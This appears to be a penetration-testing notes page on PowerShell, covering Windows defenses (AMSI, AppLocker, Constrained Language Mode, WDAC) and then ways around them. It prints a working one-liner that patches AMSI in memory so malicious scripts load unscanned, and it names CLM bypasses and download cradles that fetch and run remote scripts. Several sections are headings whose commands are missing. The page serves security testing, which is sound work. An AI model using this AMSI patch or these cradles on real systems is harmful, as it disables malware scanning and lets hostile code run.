PowerShell

PowerShell Defenses

PowerShell incorportes multiple defense mechanism such as:

  • PowerShell Transcripts - These can be system-wide and should be configured to be system-wide to cover more area of detection

  • PowerShell AMSI (Antimalware Scan Interface) - This is typically a component of the security solution installed on a machine which can either be an EDR or AntiVirus solution. Typically EDR providers create and use their own version of AMSI which is more advanced in the detection of malicious scripts or commands being imported or executed

  • Script Blocking - Block PowerShell scripts from being imported and executed

  • AppLocker - A configuration-based protection in Windows platform which can block execution of untrusted binaries or PowerShell scripts. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview#applockerarrow-up-right Replaced by WDAC due to much better coverage and difficulty around bypassing

  • PowerShell CLM (Constrained Language Mode) - This mode restricts usage of certain PowerShell features which would prevent a user from loading or using Windows APIs. A simple example can be found here as well as some more information: https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/arrow-up-right Note that this feature of PowerShell shouldn't be considered as secure and instead, should be relied on other features mentioned here !

  • WDAC (Windows Defender Application Control) - A policy can be defined in WDAC to block or only allow specific binaries, scripts and so on. This provides strict management of code execution on machines. It can also allow execution of binaries which are internally signed either by a custom CA or by ADCS code signing certificate templates. A nice YouTube explaining the basics is located here - https://www.youtube.com/watch?v=Nj5vBloAWy0arrow-up-right

PowerShell Attacks and Bypasses

PowerShell AMSI Bypass

Multiple ways of bypassing AMSI exist which are public such as byte patching which would force AMSI to always return a status of AMSI_STATUS_CLEAN.

Public resources such as the below exist to provide testers with ways of bypassing AMSI so a malicious script can be loaded:

Another example below which will patch AMSI to return a null value:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Too many AMSI bypasses can force Defender to flag every binary or script as malicious regardless if its true or not! Bypasses should be applied when a script, binary or command is of suspicious nature to Defender and AMSI.

PowerShell CLM Bypass

Constrained Language Mode can be bypassed using various methods. One very well known method is use check for PowerShell version 2 which does not incorporate security boundaries and therefore is not affected by AMSI or CLM and other such features.

When AppLocker is enforcing whitelisting rules against PowerShell scripts, ConstrainedLanguageMode is enabled as well.

The current PowerShell language mode can also be viewed using the following command:

A custom runspace can also be used to create a PowerShell session such as using the example code:

PowerShell Script Execution

  • Importing a script (.ps1)

  • Importing a module (.psd1)

Where ipmo is an alias to Import-Module.

To obtain a list of the aliases in PowerShell on a machine, the command Get-Alias can be executed. On Windows 11 24H2, the default aliases for commands are as follows:

  • Listing all commands of an imported module:

  • Using a download cradle to obtain a script from a remote source and execute it:

  • Using a COM Object to Internet Explorer

  • For PowerShell version 3 onwards the Invoke-WebRequest (with alias of iwr) command can be used instead.

An error can occur when using Invoke-WebRequest without the argument -UseBasicParsing. This is due to the IE Engine not being enable as Microsoft have deprecated Internet Explorer.

So for this reason the -UseBasicParsing argument can be added to the command to resolve the issue.

  • Using a COM Object to MSXML2:

  • Using the WebRequest class in .NET:

Last updated